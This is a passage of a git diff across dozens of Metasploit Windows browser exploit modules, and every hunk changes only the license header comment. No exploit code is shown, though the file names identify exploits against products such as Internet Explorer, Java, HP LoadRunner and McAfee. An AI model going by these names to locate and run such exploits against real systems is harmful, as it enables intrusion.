a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index bb5d4f11bb..d6ceae469d 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index ced3cacb56..8193a238ad 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index d366125728..40b6c14561 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 7ce5a67ef6..fc6ad51136 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index 6b7df81667..378c98daf0 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 8f355ec3a1..8eae361f2f 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index c0f47c15b0..755faf68d3 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 8f77699d2b..9508ae65d4 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb index 5b27d47447..ed218fec08 100644 --- a/modules/exploits/windows/browser/hpmqc_progcolor.rb +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index ad0de31376..7e83003116 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 5424b88f91..58c56ace37 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 157570c49e..7a7349fe3b 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb index 3ffdca1ad6..9caa4f044d 100644 --- a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb +++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb index 4621826527..21e25454e3 100644 --- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb +++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 2c2547cbb5..9b89ee7c3d 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 8b416d9793..6a400a921b 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index 01b014d462..14309fb53d 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index debe2ae733..43f61ab4f3 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb index eb1896ca63..5227a8a753 100644 --- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb +++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 9c120cb883..c9eb137459 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index c128742d06..2738d40f38 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index aae08c0462..af868f4625 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 3ccaee28dc..7a27b176aa 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index be4ea3286c..394b762e52 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 5750367090..d1914e542d 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -1,8 +1,7 @@ ### -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb index 8d0ca6d1c1..6e61e7d583 100644 --- a/modules/exploits/windows/browser/java_basicservice_impl.rb +++ b/modules/exploits/windows/browser/java_basicservice_impl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index f31534540e..f88c23e34b 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 1bddb617b2..271771caa6 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index a00ae384b5..2bedc7c58b 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index e5e7d0e5e8..bd09be46b2 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index 8bcfc77b04..199a9748b4 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index 2ccce064d0..4db4725d09 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index 095ae4d9d3..96e79e0672 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb index 82c0339e8f..f3c5bfbc03 100644 --- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb +++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/kazaa_altnet_heap.rb b/modules/exploits/windows/browser/kazaa_altnet_heap.rb index e628aa4dc3..b3e7dbcab6 100644 --- a/modules/exploits/windows/browser/kazaa_altnet_heap.rb +++ b/modules/exploits/windows/browser/kazaa_altnet_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 4ab8e2fe51..ef1825fc03 100644 --- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb index bf41c8e1af..b204f706f5 100644 --- a/modules/exploits/windows/browser/logitechvideocall_start.rb +++ b/modules/exploits/windows/browser/logitechvideocall_start.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/lpviewer_url.rb b/modules/exploits/windows/browser/lpviewer_url.rb index bb9e898f79..d4a1424b4e 100644 --- a/modules/exploits/windows/browser/lpviewer_url.rb +++ b/modules/exploits/windows/browser/lpviewer_url.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb index 60d9c54138..70e8e03c62 100644 --- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb +++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb index 4eafbaf941..d2eafc9891 100644 --- a/modules/exploits/windows/browser/macrovision_unsafe.rb +++ b/modules/exploits/windows/browser/macrovision_unsafe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb index 0f804a3f92..8951f98a0a 100644 --- a/modules/exploits/windows/browser/maxthon_history_xcs.rb +++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index c1005c1bd1..d0a92c513e 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index dc2f3c7ee4..514cb0e78e 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb index 3b35fdc84a..270786e369 100644 --- a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb +++ b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mirc_irc_url.rb b/modules/exploits/windows/browser/mirc_irc_url.rb index 7ab74282ce..ab74a0a6e3 100644 --- a/modules/exploits/windows/browser/mirc_irc_url.rb +++ b/modules/exploits/windows/browser/mirc_irc_url.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index 80a58d5dcb..ad37c3e27e 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index f4bfe96607..5f7c7e4018 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index ee3dd422d1..01f1eb0de9 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index 232befaf75..591eca309c 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git 